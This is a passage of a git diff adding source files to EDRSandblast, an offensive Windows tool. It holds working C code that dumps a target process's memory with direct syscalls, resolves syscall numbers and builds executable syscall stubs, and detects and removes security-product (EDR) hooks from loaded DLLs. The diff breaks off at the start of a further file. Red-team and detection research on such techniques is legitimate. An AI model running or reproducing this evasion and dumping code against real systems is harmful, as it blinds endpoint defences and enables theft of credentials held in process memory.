implementation_version << 16 + dumpContext.hProcess = htargetProcess; + dumpContext.BaseAddress = dumpBaseAddr; + dumpContext.RVA = 0; + dumpContext.DumpMaxSize = dumpSz; + + pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess); + if (!pmoduleList) { + goto cleanup; + } + + pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE); + if (!pmemoryPages) { + goto cleanup; + } + + status = writeMiniDumpHeader(&dumpContext); + if (!NT_SUCCESS(status)) { + goto cleanup; + } + + status = writeMiniDumpDirectories(&dumpContext); + if (!NT_SUCCESS(status)) { + goto cleanup; + } + + status = writeMiniDumpSystemInfoStream(&dumpContext); + if (!NT_SUCCESS(status)) { + goto cleanup; + } + + status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList); + if (!NT_SUCCESS(status)) { + goto cleanup; + } + + status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages); + if (!NT_SUCCESS(status)) { + goto cleanup; + } + + status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status); + goto cleanup; + } + + freeLinkedList(pmoduleList); + freeLinkedList(pmemoryPages); + NtClose(htargetProcess); + NtClose(hDumpFile); + + _tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath); + + return STATUS_SUCCES; + +cleanup: + if (htargetProcess) { + NtClose(htargetProcess); + } + + if (hDumpFile) { + NtClose(hDumpFile); + } + + if (pmoduleList) { + freeLinkedList(pmoduleList); + } + + if (pmemoryPages) { + freeLinkedList(pmemoryPages); + } + + return STATUS_UNSUCCESSFUL; +} + +DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) { + return SandMiniDumpWriteDump(args[0], args[1]); +} \ No newline at end of file diff --git a/EDRSandblast/UserlandBypass/Syscalls.c b/EDRSandblast/UserlandBypass/Syscalls.c new file mode 100644 index 0000000..e66eb1c --- /dev/null +++ b/EDRSandblast/UserlandBypass/Syscalls.c @@ -0,0 +1,204 @@ +#include +#include "UserlandHooks.h" +#include "PEParser.h" +#include "PEBBrowse.h" + +#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF + +DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) { + PE* ntdll_disk; + PE* ntdll_mem; + getNtdllPEs(&ntdll_mem, &ntdll_disk); + DWORD syscallNumber = INVALID_SYSCALL_NUMBER; + + PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName); + for (int i = 0; i < 0x10; i++, scanner++) { + PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1); + if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32 + syscallNumber = *pPotentialSycallNumber; + break; + } + } + return syscallNumber; +} + +typedef struct SYSCALL_t { + LPCSTR Name; + DWORD RVA; + DWORD Number; +}SYSCALL; + +int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) { + if (a->RVA < b->RVA) { + return -1; + } + else if (a->RVA > b->RVA) { + return +1; + } + else { + return 0; + } +} + +int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) { + return strcmp(a->Name, b->Name); +} + +DWORD g_nbSyscalls = 0; +DWORD g_nbSyscallsMax = 0; +SYSCALL* g_syscalls = NULL; + +SYSCALL* GetSyscallTable(PDWORD syscallTableSize) { + if (g_syscalls != NULL) { + *syscallTableSize = g_nbSyscalls; + return g_syscalls; + } + g_nbSyscallsMax = 0x10; + g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL)); + if (!g_syscalls) { + return NULL; + } + PE* ntdll_mem = NULL; + PE* ntdll_disk = NULL; + getNtdllPEs(&ntdll_mem, &ntdll_disk); + + // Store all Zw* function as a syscall + for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) { + LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]); + if (*(WORD*)functionName == *((WORD*)"Zw")) { + if (g_nbSyscalls == g_nbSyscallsMax) { + g_nbSyscallsMax *= 2; + PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL)); + if (!tmp) { + return NULL; + } + g_syscalls = tmp; + } + g_syscalls[g_nbSyscalls].Name = functionName; + g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName); + g_nbSyscalls++; + } + } + PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL)); + if (!tmp || !g_nbSyscalls) { + return NULL; + } + g_syscalls = tmp; + g_nbSyscallsMax = g_nbSyscalls; + + // Sort the Zw* functions by RVA + qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA); + + // Deduce the syscall numbers from order in table + for (DWORD j = 0; j < g_nbSyscalls; j++) { + g_syscalls[j].Number = j; + } + // Sort the function back in alphabetical order + qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName); + + *syscallTableSize = g_nbSyscalls; + return g_syscalls; +} + +DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) { + PE* ntdll_mem = NULL; + PE* ntdll_disk = NULL; + getNtdllPEs(&ntdll_mem, &ntdll_disk); + + DWORD syscallNumber = INVALID_SYSCALL_NUMBER; + + if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) { + pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion"); + OSVERSIONINFOEXW versionInformation = { 0 }; + RtlGetVersion(&versionInformation); + if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) { + syscallNumber = 0x50; // win10 + } + else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) { + syscallNumber = 0x4F; // win8.1 / 2012 R2 + } + else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) { + syscallNumber = 0x4E; // win8 / 2012 + } + else if (versionInformation.dwMajorVersion <= 6) { + syscallNumber = 0x4D; // win7 / 2008 R2 & before + } + } + return syscallNumber; +} + + +DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) { + DWORD syscallTableSize; + SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize); + if (syscallTable == NULL) { + return INVALID_SYSCALL_NUMBER; + } + LPSTR zwFunctionName = _strdup(ntFunctionName); + if (zwFunctionName == NULL) { + return INVALID_SYSCALL_NUMBER; + } + *(WORD*)zwFunctionName = *(WORD*)"Zw"; + + DWORD down = 0; + DWORD up = syscallTableSize; + while (up - down > 1) { + DWORD mid = (down + up) / 2; + if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) { + down = mid; + } + else { + up = mid; + } + } + if (!strcmp(syscallTable[down].Name, zwFunctionName)) { + return syscallTable[down].Number; + } + else { + return INVALID_SYSCALL_NUMBER; + } +} + +PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) { + BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 }; + BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 }; + BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 }; + + SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret); + PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!shellcode) { + return NULL; + } + PBYTE pShellcode = shellcode; + + // get the syscall number through different techniques and check they give the same result + DWORD syscallNumber = INVALID_SYSCALL_NUMBER; + DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation }; + + for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) { + DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName); + if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) { + if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) { + return NULL; + } + syscallNumber = syscallNumberCandidate; + } + } + + if (syscallNumber == INVALID_SYSCALL_NUMBER) { + return NULL; + } + + *(DWORD*)&mov_eax_syscall_number[1] = syscallNumber; + memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number)); + pShellcode += sizeof(mov_eax_syscall_number); + memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx)); + pShellcode += sizeof(mov_r10_rcx); + memcpy(pShellcode, syscall_ret, sizeof(syscall_ret)); + pShellcode += sizeof(syscall_ret); + + DWORD oldProtect; + VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect); + + return shellcode; +} diff --git a/EDRSandblast/UserlandBypass/UserlandHooks.c b/EDRSandblast/UserlandBypass/UserlandHooks.c new file mode 100644 index 0000000..ac1fe24 --- /dev/null +++ b/EDRSandblast/UserlandBypass/UserlandHooks.c @@ -0,0 +1,623 @@ +/* +* All the logic that detects, resolves, patch userland hooks and other related structures +*/ + +#include +#include +#include + +#include "../EDRSandblast.h" +#include "FileUtils.h" +#include "UserlandHooks.h" +#include "PEBBrowse.h" +#include "Undoc.h" +#include "Syscalls.h" + + +#if _DEBUG +int debugf(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + int res = vprintf(fmt, args); + va_end(args); + return res; +} +#else +#define debugf(...) +#endif + +/* +* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len". +* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ +*/ +PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) { + for (size_t i = 0; i < len; i++) { + if (mem[i] != disk[i]) { + size_t patchStartIndex = i; + if (NULL != lenPatch) { + while (mem[i] != disk[i] && i < len) { + i++; + } + *lenPatch = i - patchStartIndex; + } + return &mem[patchStartIndex]; + } + } + if (NULL != lenPatch) { + *lenPatch = 0; + } + return NULL; +} + +/* +* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan". +* The list is a NULL-terminated array of "diff" elements +*/ +PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) { + size_t diffSize; + PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize); + DWORD diffsListLen = 4; + size_t diffsListI = 0; + PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF)); + if (NULL == diffsList) { + debugf("bug in malloc in findDiffsInRange\n"); + exit(1); + } + + while (diffAddr != NULL && sizeToScan != 0) { + //debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize); + searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem); + sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem); + searchStartMem = (BYTE*)diffAddr + diffSize; + diffsList[diffsListI].mem_ptr = diffAddr; + diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize; + diffsList[diffsListI].size = diffSize; + diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize); + diffsListI++; + if (diffsListI >= diffsListLen) { + diffsListLen *= 2; + PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF)); + if (NULL == diffsListTmp) { + debugf("bug in realloc in findDiffsInRange\n"); + exit(1); + } + diffsList = diffsListTmp; + } + } + + PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF)); + if (NULL == diffsListTmp) { + debugf("bug in realloc in findDiffsInRange\n"); + exit(1); + } + diffsList = diffsListTmp; + diffsList[diffsListI].mem_ptr = NULL; + diffsList[diffsListI].disk_ptr = NULL; + diffsList[diffsListI].size = 0; + return diffsList; +} + +/* +* Returns the list of differences between the content of a PE on disk and the content of its version in memory. +* Only read-only sections are compared, since writable sections will obviously contain differences. +* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences +*/ +PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) { + PATCH_DIFF* list = NULL; + for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0); + nonWritableSection != NULL; + nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) { + debugf("Diffs in section %s:\n", nonWritableSection->Name); + DWORD sectionRVA = nonWritableSection->VirtualAddress; + LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA); + LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA); + LPVOID searchStartMem = sectionAddrMem; + LPVOID searchStartDisk = sectionAddrDisk; + DWORD remainingSize = nonWritableSection->Misc.VirtualSize; + + list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize); + } + return list; +} + + + +/* +* Looks for a memory needle in a memory haystack +*/ +PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len) +{ + if (!haystack) + return NULL; + if (!haystack_len) + return NULL; + if (!needle) + return NULL; + if (!needle_len) + return NULL; + PBYTE h = haystack; + while (haystack_len >= needle_len) + { + if (!memcmp(h, needle, needle_len)) + return h; + ++h; + --haystack_len; + } + return NULL; +} + +/* +* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget +*/ +PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget) +{ + SIZE_T haystack_len; + PVOID haystack; + PBYTE patternInExecutableMemory; + MEMORY_BASIC_INFORMATION mbi = { 0 }; + + for (PBYTE addr = 0; ; addr += mbi.RegionSize) + { + if (!VirtualQuery(addr, &mbi, sizeof(mbi))) { + break; + } + + if (mbi.State != MEM_COMMIT) { + continue; + } + if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) { + continue; + } + haystack = mbi.BaseAddress; + haystack_len = mbi.RegionSize; + while (haystack_len) + { + patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize); + if (!patternInExecutableMemory) { + break; + } + if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) { + return patternInExecutableMemory; + } + haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack; + haystack = patternInExecutableMemory + 1; + } + } + return NULL; +} + + +VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) { + if (unhook_method == UNHOOK_NONE) { + return; + } + + const WCHAR* ntdlolFileName = L".\\ntdlol.txt"; + WCHAR ntdllFilePath[MAX_PATH] = { 0 }; + WCHAR ntdlolFilePath[MAX_PATH] = { 0 }; + HANDLE secondNtdll = INVALID_HANDLE_VALUE; + PE* ntdll_mem = NULL; + PE* ntdll_disk = NULL; + getNtdllPEs(&ntdll_mem, &ntdll_disk); + + PATCH_DIFF* patches = hook->list_patches; + //merge every small patches into 1 patch to perform a single write + PATCH_DIFF patch = patches[0]; + int nb_patches = 0; + while (patches[nb_patches].size) { + nb_patches++; + } + PATCH_DIFF lastPatch = patches[nb_patches - 1]; + patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size; + + pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL; + + // Method used to get a NtProtectVirtualMemory function that is safe to use + switch (unhook_method) { + case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY: + // in this case, it is not really "safe" to use + unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory"); + break; + + case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE: + case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE: + unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method); + break; + + case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY: + GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath)); + PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll"); + + GetTempPathW(MAX_PATH, ntdlolFilePath); + PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName); + + CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE); + secondNtdll = LoadLibraryW(ntdlolFilePath); + PE* secondNtdll_pe = PE_create(secondNtdll, TRUE); + + unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory"); + break; + case UNHOOK_WITH_DIRECT_SYSCALL: + unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory"); + if (unmonitoredNtProtectVirtualMemory == NULL) { + printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n"); + exit(EXIT_FAILURE); + } + break; + default: + printf_or_not("Unhook method does not exist, exiting...\n"); + exit(EXIT_FAILURE); + break; + } + + //actually remove the hook + DWORD oldProtect; + PVOID patch_mem_ptr = patch.mem_ptr; + SIZE_T patch_size = patch.size; + NTSTATUS status = unmonitoredNtProtectVirtualMemory( + (HANDLE)-1, // GetCurrentProcess() + &patch_mem_ptr, + &patch_size, + PAGE_EXECUTE_READWRITE, + &oldProtect + ); + if (!NT_SUCCESS(status)) { + debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status); + exit(1); + } + + for (size_t i = 0; i < patch.size; i++) { + ((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i]; + } + + status = unmonitoredNtProtectVirtualMemory( + (HANDLE)-1, // GetCurrentProcess() + &patch_mem_ptr, + &patch_size, + oldProtect, + &oldProtect + ); + if (!NT_SUCCESS(status)) { + debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status); + exit(1); + } + + switch (unhook_method) { + case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY: + if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) { + FreeLibrary(secondNtdll); + } + DeleteFileW(ntdlolFilePath); + break; + + } +} + + + +pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) { + PE* ntdllPE_mem = NULL; + PE* ntdllPE_disk = NULL; + getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk); + + PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory"); + PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory"); + + size_t patchSize = 0; + PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize); + + if (patchSize == 0) { + return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory; + } + + if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) { + PVOID trampoline = NULL; + trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize); + if (NULL == trampoline) { + debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n"); + exit(1); + } + return (pNtProtectVirtualMemory)trampoline; + } + else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) { + +#if _WIN64 +#define JUMP_SIZE 14 +#else +#define JUMP_SIZE 5 +#endif + PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (NULL == trampoline) { + debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError()); + exit(1); + } + + DWORD oldProtect; + memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize); +#if _WIN64 + * ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp + *((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0] + *((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize); +#else + * (trampoline + patchSize) = 0xE9; //far JMP + *((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE)); +#endif + VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect); + + return (pNtProtectVirtualMemory)trampoline; + } + return NULL; +} + +PVOID hookResolver(PBYTE hookAddr) { + PBYTE destination = hookAddr; + BOOL hasFollowedJmp = FALSE; + while (TRUE) { + MEMORY_BASIC_INFORMATION mbi; + VirtualQuery(destination, &mbi, sizeof(mbi)); + if (mbi.State != MEM_COMMIT) { + return NULL; + } + switch (destination[0]) { + case 0xE9: + { + int diff = *((int*)(&destination[1])); + destination = &destination[5] + diff; + hasFollowedJmp = TRUE; + break; + } +#if _WIN64 + case 0xFF: + { + BYTE selector = destination[1]; + if (selector != 0x25) { + return NULL; + } + int diff = *((int*)(&destination[2])); + QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff); + destination = (PBYTE)*offsetPtr; + hasFollowedJmp = TRUE; + break; + } +#endif + default: + if (!hasFollowedJmp) { + return NULL; + } + else { + return destination; + } + } + } +} + +BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) { + PVOID mem_functionStart = PE_functionAddr(memDLL, functionName); + PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName); + return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL; +} + +_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) { + FILE* csvFile = NULL; + DWORD hookListSize = 8; + DWORD hookList_i = 0; + HOOK* hooksList = calloc(hookListSize, sizeof(HOOK)); + if (NULL == hooksList) { + debugf("calloc failed\n"); + exit(1); + } + if (csvFileName) { + if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) { + perror("CSV file could not be opened:"); + exit(1); + } + fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n"); + } + + BOOL hooksFoundInLastModule = TRUE; + PBYTE disk_dllContent = NULL; + PE* diskDLL = NULL; + PE* memDLL = NULL; + for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) { + UNICODE_STRING dll_name = currentModuleEntry->BaseDllName; + if (dll_name.Buffer == NULL) { + continue; + } + WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer; + + if (!hooksFoundInLastModule) { + printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n"); + if (disk_dllContent) { + free(disk_dllContent); + disk_dllContent = NULL; + } + if (memDLL) { + PE_destroy(memDLL); + memDLL = NULL; + } + if (diskDLL) { + PE_destroy(diskDLL); + diskDLL = NULL; + } + } + else { + hooksFoundInLastModule = FALSE; + } + printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase); + if (csvFile) { + fprintf(csvFile, "0x%p;%ws;%ws;;;\n", + currentModuleEntry->DllBase, + currentModuleEntry->BaseDllName.Buffer, + currentModuleEntry->FullDllName.Buffer + ); + } + + PVOID mem_dllImageBase = currentModuleEntry->DllBase; + memDLL = PE_create(mem_dllImageBase, TRUE); + if (!memDLL || NULL == memDLL->exportDirectory) { + continue; + } + + if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) { + continue; + } + disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer); + if (NULL == disk_dllContent) { + debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError()); + continue; + } + + + diskDLL = PE_create(disk_dllContent, FALSE); + if (NULL == diskDLL) { + debugf("\tError : PE_create\n"); + continue; + } + + PE_rebasePE(diskDLL, memDLL->baseAddress); + + for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) { + LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]); + DWORD functionRVA = PE_functionRVA(diskDLL, functionName); + IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA); + + if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function + continue; + + PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName); + PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName); + + //check if hook was already detected in this function (due to export aliasing) + BOOL alreadyChecked = FALSE; + for (size_t i = 0; i < hookList_i; i++) { + if (hooksList[i].mem_function == mem_functionStart) { + alreadyChecked = TRUE; + break; + } + + } + if (alreadyChecked) + continue; + + if (isFunctionHooked(functionName, diskDLL, memDLL)) { + printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA); + hooksFoundInLastModule = TRUE; + PVOID jmpTarget = hookResolver(mem_functionStart); + if (NULL == jmpTarget) { + printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n"); + } + else { + LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget); + for (DWORD i = 0; i < 40 - strlen(functionName); i++) { + printf_or_not(" "); + } + // TODO: Fix hooks resolver to identify dll + // printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)); + + if (csvFile) { + fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n", + currentModuleEntry->DllBase, + currentModuleEntry->BaseDllName.Buffer, + currentModuleEntry->FullDllName.Buffer, + functionName, + jmpTarget, + hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase) + ); + } + + if (hookList_i >= hookListSize) { + hookListSize *= 2; + PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK)); + if (hooksListTmp == NULL) { + debugf("realloc failed\n"); + exit(1); + } + hooksList = hooksListTmp; + } + printf_or_not("\n"); + + hooksList[hookList_i].mem_function = mem_functionStart; + hooksList[hookList_i].disk_function = disk_functionStart; + hooksList[hookList_i].functionName = functionName; + hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE); + hookList_i++; + } + } + } + } + if (!hooksFoundInLastModule) { + printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n"); + } + if (csvFileName) { + fclose(csvFile); + } + if (hookList_i >= hookListSize) { + hookListSize++; + PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK)); + if (NULL == hooksListTmp) { + printf_or_not("realloc failed\n"); + exit(1); + } + hooksList = hooksListTmp; + } + hooksList[hookList_i].mem_function = NULL; + hooksList[hookList_i].disk_function = NULL; + hooksList[hookList_i].functionName = NULL; + + return hooksList; +} + +/* +* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access +* "Rebase" the disk version to the same base address of the memory-mapped one for coherence +*/ +void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) { + LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll"); + PE* ntdllPE_mem_l = NULL; + PE* ntdllPE_disk_l = NULL; + + if (ntdllMemPe_g == NULL) { + ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE); + } + else { + ntdllPE_mem_l = ntdllMemPe_g; + } + if (ntdllDiskPe_g == NULL) { + PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer); + if (NULL == disk_dllContent) { + exit(1); + } + ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE); + PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress); + } + else { + ntdllPE_disk_l = ntdllDiskPe_g; + } + + if (ntdllPE_mem) { + *ntdllPE_mem = ntdllPE_mem_l; + } + if (ntdllPE_disk) { + *ntdllPE_disk = ntdllPE_disk_l; + } +} + +void test_trampoline_search() +{ + for (HOOK* h = searchHooks(NULL); h->disk_function; ++h) + { + PVOID trampoline = NULL; + printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName); + for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d) + { + trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size); + if (trampoline) + { + printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline); + break; + } + } + if (!trampoline) + printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n"); + } +} diff --git a/EDRSandblast/Utils/DriverOps.c b/EDRSandblast/Utils/DriverOps.c index 8e0d0d6..32fa2e8 100644 --- a/EDRSandblast/Utils/DriverOps.c +++ b/EDRSandblast/Utils/DriverOps.c @@ -6,234 +6,57 @@ */ #include 